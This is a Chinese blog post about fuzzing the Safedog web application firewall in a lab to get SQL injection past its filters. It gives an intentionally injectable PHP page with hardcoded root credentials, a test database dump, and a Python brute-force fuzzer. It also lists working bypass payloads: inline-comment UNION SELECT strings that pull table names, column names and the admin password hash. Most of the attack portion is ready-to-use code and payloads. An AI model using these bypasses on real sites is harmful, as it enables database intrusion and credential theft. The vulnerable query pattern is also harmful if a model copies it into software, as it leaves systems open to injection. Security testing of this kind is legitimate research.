Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >对某狗的FUZZ测试

对某狗的FUZZ测试

作者头像
字节脉搏实验室
发布于 2020-03-19 07:36:57
发布于 2020-03-19 07:36:57
1K00
代码可运行
举报
运行总次数:0
代码可运行

文章源自【字节脉搏社区】-字节脉搏实验室

作者-sher10ck

扫描下方二维码进入社区:测试环境:安全狗(APACHE正式版) V4.0 Windows Server 2003 Phpstudy Mysql /*这里的安全狗要关闭下CC防护,不然ip会被ban掉*/ 测试脚本:sqlTest.php test.sql

测试的这个安全狗是去年9月份搭建的,不晓得是不是最新版本,但大体都是一样的,跑个脚本就完事了

sqlTest.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
 
$id = @$_GET['id'];
 
//id没有做 整形转换
if( !isset($id)|| empty($id) ){
    exit('get.id 参数不能为空');
}
 
try{
    //分别对应的是 地址,端口号,连接的数据库,编码
    $dsn = "mysql:host=127.0.0.1; port=3306; dbname=test; charset=utf8";
 
    //帐号
    $user = 'root';
 
    //密码 
    $psw ='root'; 
 
    //连接到 MySQL
    $pdo = new PDO($dsn,$user,$psw);
 
    //准备执行的sql语句  start
    $sql = "select * from tdb_goods where goods_id = $id";
    echo $sql;
    echo '<br/>';
    //准备执行的sql语句 end
     
    //进行查询数据库出问题则报具体错误
    $res = $pdo->query($sql) or var_dump($pdo->errorInfo());
  
    $mon = $res->fetch(PDO::FETCH_ASSOC);
    print_r( $mon );
 
} catch (Exception $e) {
    print $e->getMessage();
    exit();
}
 
?>

test.sql

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-- MySQL dump 10.13  Distrib 5.5.40, for Win32 (x86)
--
-- Host: localhost    Database: test
-- ------------------------------------------------------
-- Server version    5.5.40
 
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
 
--
-- Table structure for table `tdb_admin`
--
 
DROP TABLE IF EXISTS `tdb_admin`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `tdb_admin` (
  `id` int(11) NOT NULL,
  `username` varchar(30) CHARACTER SET utf8 NOT NULL,
  `password` varchar(32) CHARACTER SET utf8 NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `tdb_admin`
--
 
LOCK TABLES `tdb_admin` WRITE;
/*!40000 ALTER TABLE `tdb_admin` DISABLE KEYS */;
INSERT INTO `tdb_admin` VALUES (1,'admin','7fef6171469e80d32c0559f88b377245');
/*!40000 ALTER TABLE `tdb_admin` ENABLE KEYS */;
UNLOCK TABLES;
 
--
-- Table structure for table `tdb_goods`
--
 
DROP TABLE IF EXISTS `tdb_goods`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `tdb_goods` (
  `goods_id` smallint(5) unsigned NOT NULL AUTO_INCREMENT,
  `goods_name` varchar(150) NOT NULL,
  `goods_cate` varchar(40) NOT NULL,
  `brand_name` varchar(40) NOT NULL,
  `goods_price` decimal(15,3) unsigned NOT NULL DEFAULT '0.000',
  `is_show` tinyint(1) NOT NULL DEFAULT '1',
  `is_saleoff` tinyint(1) NOT NULL DEFAULT '0',
  PRIMARY KEY (`goods_id`)
) ENGINE=InnoDB AUTO_INCREMENT=24 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `tdb_goods`
--
 
LOCK TABLES `tdb_goods` WRITE;
/*!40000 ALTER TABLE `tdb_goods` DISABLE KEYS */;
INSERT INTO `tdb_goods` VALUES (1,'R510VC 15.6英寸笔记本','笔记本','华硕',3399.000,1,0),(2,'Y400N 14.0英寸笔记本电脑','笔记本','联想',4899.000,1,0),(3,'G150TH 15.6英寸游戏本','游戏本','雷神',8499.000,1,0),(4,'X550CC 15.6英寸笔记本','笔记本','华硕',2799.000,1,0),(5,'X240(20ALA0EYCD) 12.5英寸超极本','超级本','联想',4999.000,1,0),(6,'U330P 13.3英寸超极本','超级本','联想',4299.000,1,0),(7,'SVP13226SCB 13.3英寸触控超极本','超级本','索尼',7999.000,1,0),(8,'iPad mini MD531CH/A 7.9英寸平板电脑','平板电脑','苹果',1998.000,1,0),(9,'iPad Air MD788CH/A 9.7英寸平板电脑 (16G WiFi版)','平板电脑','苹果',3388.000,1,0),(10,' iPad mini ME279CH/A 配备 Retina 显示屏 7.9英寸平板电脑 (16G WiFi版)','平板电脑','苹果',2788.000,1,0),(11,'IdeaCentre C340 20英寸一体电脑 ','台式机','联想',3499.000,1,0),(12,'Vostro 3800-R1206 台式电脑','台式机','戴尔',2899.000,1,0),(13,'iMac ME086CH/A 21.5英寸一体电脑','台式机','苹果',9188.000,1,0),(14,'AT7-7414LP 台式电脑 (i5-3450四核 4G 500G 2G独显 DVD 键鼠 Linux )','台式机','宏碁',3699.000,1,0),(15,'Z220SFF F4F06PA工作站','服务器/工作站','惠普',4288.000,1,0),(16,'PowerEdge T110 II服务器','服务器/工作站','戴尔',5388.000,1,0),(17,'Mac Pro MD878CH/A 专业级台式电脑','服务器/工作站','苹果',28888.000,1,0),(18,' HMZ-T3W 头戴显示设备','笔记本配件','索尼',6999.000,1,0),(19,'商务双肩背包','笔记本配件','索尼',99.000,1,0),(20,'X3250 M4机架式服务器 2583i14','服务器/工作站','IBM',6888.000,1,0),(21,'玄龙精英版 笔记本散热器','笔记本配件','九州风神',0.000,1,0),(22,' HMZ-T3W 头戴显示设备','笔记本配件','索尼',6999.000,1,0),(23,'商务双肩背包','笔记本配件','索尼',99.000,1,0);
/*!40000 ALTER TABLE `tdb_goods` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
 
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
 
-- Dump completed on 2019-01-18 13:08:24

FUZZ思路:安全狗的拦截是根据正则表达式匹配的,那么我们可以根据Mysql数据库的特征(内联注释,换行符等),加上一些常用的符号组合成payload对其进行FUZZ

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

fuzz.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# -*- coding: UTF-8 -*-
 
#过狗脚本,自行验证
#python3
 
import requests
import sys
 
fuzz_zs = ['/*','*/','/*!','/**/','?','/','*','=','`','!','%','_','-','+']
fuzz_sz = ['']
fuzz_ch = ["%09","%0a","%0b","%0c","%0d","%20","%a0"]
 
fuzz = fuzz_zs+fuzz_ch+fuzz_sz
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"}
url_start = "http://192.168.79.129/sqltest.php?id=1"
 
len = len(fuzz)**5
num = 0
for a in fuzz:
    for b in fuzz:
        for c in fuzz:
            for d in fuzz:
                for e in fuzz:
                    num += 1
                    payload = "/*!union"+a+b+c+d+e+"select*/ 1,2,3,4,5,6,7"
                    url = url_start + payload
                    sys.stdout.write(' '*30 +'\r')
                    sys.stdout.flush()
                    print("Now URL:"+url)
                    sys.stdout.write("完成进度:%s/%s \r" %(num,len))
                    sys.stdout.flush()
                    res = requests.get(url = url,headers = headers)
                    if "Array" in res.text:
                        with open ("Results.txt",'a') as r:
                            r.write(url+"\n")

运行脚本,要是能绕过安全狗,肯定不会是安全狗的防护页面啦,所以这里绕过成功的特征是看结果中是否有”Array”,要是绕过了的话就会将payload保存到Results.txt中,一不小心跑了一个小时,结果如下:

1、and 1 拦截

payload:” and”+a+b+c+d+e+”1″

result:http://192.168.79.129/sqltest.php?id=1 and/*/**/-%201 Success

2、and/*/**/-%20=1 拦截

payload:” and/*/**/-%201=”+a+b+c+d+e+”1″ result:http://192.168.79.129/sqltest.php?id=1 and/*/**/-%201=/*/**/-1 Success

3、union select 拦截

payload:” union selec”+a+b+c+d+e+”t” Fail payload:” union”+a+b+c+d+e+”select” Fail 跑了半个小时也没跑出一个,估计这种没辙了,要用我们上面的内联注释才有用吧

4、/*!union/*/*=%0j/**/select*/ 1,user(),3,4,5,6,7 拦截

payload:/*!union/*/*=%0j/**/select*/ 1,user(“+a+b+c+d+e+”),3,4,5,6,7 这里文件里倒是写入了payload,但是再打开连接的时候居然还是被拦截了,看了源码、安全狗的配置都没问题呀。

5、/*user()*/ 拦截

上面的那种不行,于是就想到了添加注释符,然后,嘿,有了 http://192.168.79.129/sqltest.php?id=-1/*!union/*/*=%0j/**/select*/%201,/*!user(/*/*/*//*!)*/,3,4,5,6,7 success

http://192.168.79.129/sqltest.php?id=-1/*!union/*/*=%0j/**/select*/ 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema='test'

http://192.168.79.129/sqltest.php?id=-1/*!union/*/*=%0j/**/select*/ 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name='tdb_admin'

http://192.168.79.129/sqltest.php?id=-1/*!union/*/*=%0j/**/select*/ 1,2,3,4,5,6,group_concat(id,username,password) from tdb_admin

后面都不拦截了,ok

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-03-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
mysqldump测试--mysql基础系列
本系列文章主要是对mysql的一些基础功能做些测试记录,方便大家参考,也方便自己后续翻看。
DBA札记
2021/07/06
3.5K0
mysqldump测试--mysql基础系列
MySQL备份与恢复(二)
前天的文章中简单写了备份与恢复的方法,今天我们主要来看看不同的备份方法备份出来的文件结果,以及它们的恢复方法。
AsiaYe
2019/11/06
8690
【项目实战】servlet+JDBC+jsp+mysql实现监考管理系统(增删改查)
(1)utils层存放数据库连接语句 (2)dao层定义一些数据库的增删改查方法 (3)controller层调用dao层方法实现数据库的增删改查 (4)model层封装实体类 项目展示: 1.登录界面:
且陶陶
2023/04/12
9800
【项目实战】servlet+JDBC+jsp+mysql实现监考管理系统(增删改查)
【每晚玩转一套ssm项目】jsp智能停车场管理系统
本文章教程手把手带你玩转ssm项目,曾经博主也是小白经过数个日夜终于将ssm玩透彻了。现在博主免费推出了【每晚玩转一套ssm项目】这一系列专栏,带你手把手上手ssm。请大家关注并监督我每晚更新哦~这个过程我也会从新人的角度总结出易错点并写道文章的最后。博主也是一枚在校大学生,现在带学弟学妹们入门ssm项目。在此之前你需要一定的计算机操作基础,现在我将带你,不需要写一行代码,从0到1搭建一个项目。
菜菜有点菜
2025/01/16
2590
【每晚玩转一套ssm项目】jsp智能停车场管理系统
MySQL 数据备份与还原
mysqldump命令将数据库中的数据备份成一个文本文件,表的结构和表中的数据将存储在生成的文本文件中。
阮键
2020/04/30
2.4K0
MySQL 数据备份与还原
MySQL数据库入门——备份数据库
一提到数据,大家神经都会很紧张,数据的类型有很多种,但是总归一点,数据很重要,非常重要,因此,日常的数据备份工作就成了运维工作的重点中的重点的重点.................
民工哥
2020/09/16
7530
从全备中恢复单库或单表,小心有坑!
MySQL 逻辑备份工具最常用的就是 mysqldump 了,一般我们都是备份整个实例或部分业务库。不清楚你有没有做过恢复,恢复场景可能就比较多了,比如我想恢复某个库或某个表等。那么如何从全备中恢复单库或单表,这其中又有哪些隐藏的坑呢?这篇文章我们一起来看下。
MySQL技术
2020/09/27
1.1K0
第19章_数据库备份与恢复
🧑个人简介:大家好,我是 shark-Gao,一个想要与大家共同进步的男人😉😉
程序员Leo
2023/08/07
6890
第19章_数据库备份与恢复
你知道吗,备份可是我们维护数据安全的“超级保镖”!平时一次性备份整个库,就像使用重型武器一样威猛有力。但是...
你知道吗,备份可是我们维护数据安全的“超级保镖”!平时一次性备份整个库,就像使用重型武器一样威猛有力。但是,有时候我们也会遇到一些特殊情况,需要“临时出动”来备份重要的表或符合某些条件的数据。这时候,就轮到我们的神器——mysqldump登场啦!
用户10002156
2023/08/07
1760
你知道吗,备份可是我们维护数据安全的“超级保镖”!平时一次性备份整个库,就像使用重型武器一样威猛有力。但是...
mysql数据实时同步到Elasticsearch
业务需要把mysql的数据实时同步到ES,实现低延迟的检索到ES中的数据或者进行其它数据分析处理。本文给出以同步mysql binlog的方式实时同步数据到ES的思路, 实践并验证该方式的可行性,以供参考。
bellen
2018/06/08
19.1K0
mysql数据实时同步到Elasticsearch
php 学习笔记之搭建开发环境(mac版) 原
下面我们将搭建最简单的 php 开发环境,每一步都会验证上一步的操作结构,请一步一步跟我一起搭建吧!
雪之梦技术驿站
2019/05/20
1.5K0
php 学习笔记之搭建开发环境(mac版)
                                                                            原
一篇文章理解Shiro
是一款主流的 Java 安全框架,不依赖任何容器,可以运行在 Java SE 和 Java EE 项目中,它的主要作用是对访问系统的用户进行身份认证、 授权、会话管理、加密等操作。
GeekLiHua
2025/01/21
1680
一篇文章理解Shiro
Mongodb备份恢复(mongodump,mongorestore方式)
--这里恢复数据库的时候没有指定-d 数据库名称,否则报错(我看网上有的指定了)。我的mongodb版本是2.6.9,也许是个bug吧。
拓荒者
2019/03/11
1.6K0
MySQL【四】---案例实战{拆分多表、外键创建等}
 然后将最大值表和原表关联【可以inner join 或者 left join   on】
汀丶人工智能
2022/12/21
1.2K0
MySQL【四】---案例实战{拆分多表、外键创建等}
【说站】mysql表导出的两种方法
2、使用mysqldump导出数据为文本。mysqldump实际调用的就是后者提供的接口,并在其上面添加了一些新的功能而已。
很酷的站长
2022/11/23
3.1K0
《MySQL核心知识》第18章:复制
今天是《MySQL核心知识》专栏的第18章,今天为大家系统的讲讲MySQL中的复制特性,希望通过本章节的学习,小伙伴们能够举一反三,彻底掌握MySQL中复制相关的知识。好了,开始今天的正题吧。
冰河
2022/12/01
5550
《MySQL核心知识》第18章:复制
yii2防止sql注入
-- phpMyAdmin SQL Dump -- version 4.5.1 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: 2022-02-28 10:09:39 -- 服务器版本: 10.1.13-MariaDB -- PHP Version: 5.6.21 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!4010
贵哥的编程之路
2022/03/25
1.5K0
yii2防止sql注入
yii2 model->curd
-- phpMyAdmin SQL Dump -- version 4.5.1 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: 2022-02-28 10:09:39 -- 服务器版本: 10.1.13-MariaDB -- PHP Version: 5.6.21 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!4010
贵哥的编程之路
2022/03/25
3300
yii2 model->curd
Mysql数据库备份策略
我的petstore所用的数据库是Mysql。Mysql的数据库备份不象那些企业界数据库那样完善,分为完全备份、差分备份以及日记纪录等等。Mysql备份数据库两个主要方法是用mysqldump程序或直接拷贝数据库文件。
全栈程序员站长
2022/08/15
5.8K0
JPA关系映射系列五:many-to-many 关联表存在额外字段关系映射
本篇文章引导你通过Spring Boot,Spring Data JPA和MySQL实现many-to-many关联表存在额外字段下关系映射。
java干货
2021/02/17
1.4K0
推荐阅读
相关推荐
mysqldump测试--mysql基础系列
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验